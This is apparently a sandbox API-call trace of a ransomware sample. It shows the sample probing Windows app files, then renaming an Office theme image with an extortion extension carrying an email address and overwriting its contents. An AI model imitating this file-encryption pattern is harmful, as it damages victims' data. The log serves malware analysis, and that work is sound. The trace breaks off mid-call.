0x6fe3bb0 [0258.151] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W3.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.153] Sleep (dwMilliseconds=0x1) [0258.165] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W2.png", len=0x6f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W2.png") returned 1 [0258.165] GetProcessHeap () returned 0x630000 [0258.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d4c) returned 0x6fe3bb0 [0258.165] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W2.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.167] Sleep (dwMilliseconds=0x1) [0258.185] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_Wind_sm.png", len=0x7f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_Wind_sm.png") returned 1 [0258.185] GetProcessHeap () returned 0x630000 [0258.185] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0258.185] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_Wind_sm.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\icons_icon_wind_sm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.191] Sleep (dwMilliseconds=0x1) [0258.202] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_PoP_sm.png", len=0x7e | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_PoP_sm.png") returned 1 [0258.202] GetProcessHeap () returned 0x630000 [0258.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0258.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\Icons_Icon_PoP_sm.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\icons_icon_pop_sm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.204] Sleep (dwMilliseconds=0x1) [0258.217] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\7px.png", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\7px.png") returned 1 [0258.217] GetProcessHeap () returned 0x630000 [0258.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d30) returned 0x6fe3bb0 [0258.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\7px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\7px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.219] Sleep (dwMilliseconds=0x1) [0258.231] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\6px.png", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\6px.png") returned 1 [0258.231] GetProcessHeap () returned 0x630000 [0258.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d2c) returned 0x6fe3bb0 [0258.231] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\6px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\6px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.232] Sleep (dwMilliseconds=0x1) [0258.248] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\3px.png", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\3px.png") returned 1 [0258.248] GetProcessHeap () returned 0x630000 [0258.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d20) returned 0x6fe3bb0 [0258.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\3px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\3px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.251] Sleep (dwMilliseconds=0x1) [0258.262] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\2px.png", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\2px.png") returned 1 [0258.262] GetProcessHeap () returned 0x630000 [0258.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0258.262] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\2px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\2px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.264] Sleep (dwMilliseconds=0x1) [0258.279] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-200.png", len=0x8d | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-200.png") returned 1 [0258.280] GetProcessHeap () returned 0x630000 [0258.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d10) returned 0x6fe3bb0 [0258.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilewide.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.281] Sleep (dwMilliseconds=0x1) [0258.293] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-200.png", len=0x94 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-200.png") returned 1 [0258.293] GetProcessHeap () returned 0x630000 [0258.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d0c) returned 0x6fe3bb0 [0258.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilesmallsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.295] Sleep (dwMilliseconds=0x1) [0258.311] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png", len=0x91 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png") returned 1 [0258.311] GetProcessHeap () returned 0x630000 [0258.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d00) returned 0x6fe3bb0 [0258.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_splashscreen.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.313] Sleep (dwMilliseconds=0x1) [0258.325] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png", len=0x92 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png") returned 1 [0258.325] GetProcessHeap () returned 0x630000 [0258.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cfc) returned 0x6fe3bb0 [0258.325] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.326] Sleep (dwMilliseconds=0x1) [0258.341] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png", len=0x92 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png") returned 1 [0258.341] GetProcessHeap () returned 0x630000 [0258.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf0) returned 0x6fe3bb0 [0258.342] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.342] Sleep (dwMilliseconds=0x1) [0258.359] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png", len=0x8e | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png") returned 1 [0258.359] GetProcessHeap () returned 0x630000 [0258.359] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce8) returned 0x6fe3bb0 [0258.359] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.361] Sleep (dwMilliseconds=0x1) [0258.372] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png", len=0x8e | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png") returned 1 [0258.376] GetProcessHeap () returned 0x630000 [0258.376] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0258.376] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_badgelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.383] Sleep (dwMilliseconds=0x1) [0261.067] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png", len=0x94 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png") returned 1 [0261.067] GetProcessHeap () returned 0x630000 [0261.067] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0261.067] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilelargesquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.069] Sleep (dwMilliseconds=0x1) [0261.085] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x61 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0261.085] GetProcessHeap () returned 0x630000 [0261.085] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb4) returned 0x6fe3bb0 [0261.086] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.093] Sleep (dwMilliseconds=0x1) [0261.127] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG") returned 1 [0261.127] GetProcessHeap () returned 0x630000 [0261.127] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c84) returned 0x6fe3bb0 [0261.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0261.227] CloseHandle (hObject=0x6a0) returned 1 [0261.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0261.756] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0261.756] GetProcessHeap () returned 0x630000 [0261.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6fc1) returned 0x7441010 [0261.758] GetProcessHeap () returned 0x630000 [0261.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6fc1) returned 0x73c8410 [0261.758] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.758] ReadFile (in: hFile=0x6a0, lpBuffer=0x7441010, nNumberOfBytesToRead=0x6fa0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7441010*, lpNumberOfBytesRead=0x333ff0c*=0x6fa0, lpOverlapped=0x0) returned 1 [0264.149] GetProcessHeap () returned 0x630000 [0264.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0264.150] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.150] WriteFile (in: hFile=0x6a0, lpBuffer=0x73c8410*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesWritten=0x333ff0c*=0x6fa0, lpOverlapped=0x0) returned 1 [0264.150] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.150] WriteFile (in: hFile=0x6a0, lpBuffer=0x73cf3af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cf3af*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.150] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.150] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.150] CloseHandle (hObject=0x6a0) returned 1 [0264.151] GetProcessHeap () returned 0x630000 [0264.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0265.589] GetProcessHeap () returned 0x630000 [0265.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7441010 | out: hHeap=0x630000) returned 1 [0265.589] GetProcessHeap () returned 0x630000 [0265.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0265.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63643daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6fd7, dwReserved0=0xc1c7496, dwReserved1=0x7441008, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d54c0 [0265.589] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0265.589] Sleep (dwMilliseconds=0x1) [0265.598] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE", len=0x67 | out: 